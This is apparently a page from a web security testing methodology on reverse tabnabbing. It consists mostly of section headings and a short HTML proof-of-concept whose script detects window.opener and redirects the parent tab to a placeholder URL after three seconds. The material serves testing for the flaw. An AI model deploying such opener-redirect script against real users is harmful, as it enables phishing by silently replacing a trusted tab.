Reverse Tabnabbing
Check List
Methodology
Black Box
1
2
3
4
<!DOCTYPE html>
<html>
<head><title>Reverse Tab-Nabbing Test</title></head>
<body>
<h1 id="msg"></h1>
<script>
const msg = document.getElementById("msg");
if (window.opener) {
msg.textContent = "Opener detected — parent tab is accessible.";
setTimeout(() => {
window.opener.location.replace("https://example.com");
}, 3000);
} else {
msg.textContent = "No opener — parent tab is protected.";
}
</script>
</body>
</html>5
White Box
Cheat Sheet
Last updated